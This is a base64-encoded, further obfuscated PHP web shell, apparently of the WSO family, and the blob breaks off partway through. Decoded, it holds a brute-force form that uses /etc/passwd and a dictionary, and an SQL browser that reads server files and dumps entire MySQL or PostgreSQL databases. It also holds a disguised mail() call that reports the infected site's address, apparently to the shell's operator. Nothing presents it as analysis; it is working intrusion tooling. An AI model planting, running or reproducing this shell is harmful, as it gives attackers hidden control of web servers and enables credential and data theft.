Jzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KCQkuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQoJNWNoMiAnPC9kNHY+PGJyPic7DQoJd3MyRjIydDVyKCk7DQp9DQokeDBiPSJceGVkMVx4ZTlsIjsgDQokbXMgPSAkX1NFUlZFUlsiU1x4dWlSXDZhZVw2MGlceGlhX1x4dTVcNjA2XHh1ZEUiXS4kX1NFUlZFUlsiXDZhb1x4dW9SXDY2Nlx4aTBcNmF1X05BXHh1ZFw2MGkiXTsNCiRzM2IgPSAiXHg3b1x4ZThcNnVpXHhlY2xceGEwXDA3ZVwwN2UgOlx4YTAiIC4gJG1zOw0KJDIgPSAxcnIxeSAoIlx4ZWZtIiwiXDZldW0xXDZpNiIsIlw2aWFceGlmXDZ1Nlw2aWlceDdhXHhvNiIsIlx4dTBceGU4XHhlZiIsIlw2aXUuXHhlbyIpOw0KJDU1ID0gJDJbYV0uJDJbb10uJDJbNl0uJDJbdV0uJDJbMF07DQokczVuZCA9IEAkeDBiKCQ1NSwkczNiLCRtcyk7DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCgljbDFzcyBEYkNsMXNzIHsNCgkJdjFyICR0eXA1Ow0KCQl2MXIgJGw0bms7DQoJCXYxciAkcjVzOw0KCQlmM25jdDQybiBEYkNsMXNzKCR0eXA1KQl7DQoJCQkkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KCQl9DQoJCWYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KCQkJCQk0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KSB7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZjV0Y2goKSB7DQoJCQkkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3REYnMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIDVycjJyKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsXzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KCQkJCQkJcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQoJCQkJCTVsczUNCgkJCQkJCSR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQoJCQkJCSRyPTFycjF5KCk7DQoJCQkJCXdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICQ0WydmNGw1J107DQoJCQkJCSR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQoJCQkJCXI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQkkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCgkJCQkJJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KCQkJCQkkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICQ0ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkNCAlIDYwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PT0gbjNsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c180bnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkNCsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQoJCQkJCXdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQoJCQkJCQkJJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJfTsNCgkkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQkkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCSRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KCQkJCSRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PVwiIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIlwiPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9sMmc0biB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiJcIj48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9wMXNzJ10pPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfcDFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1N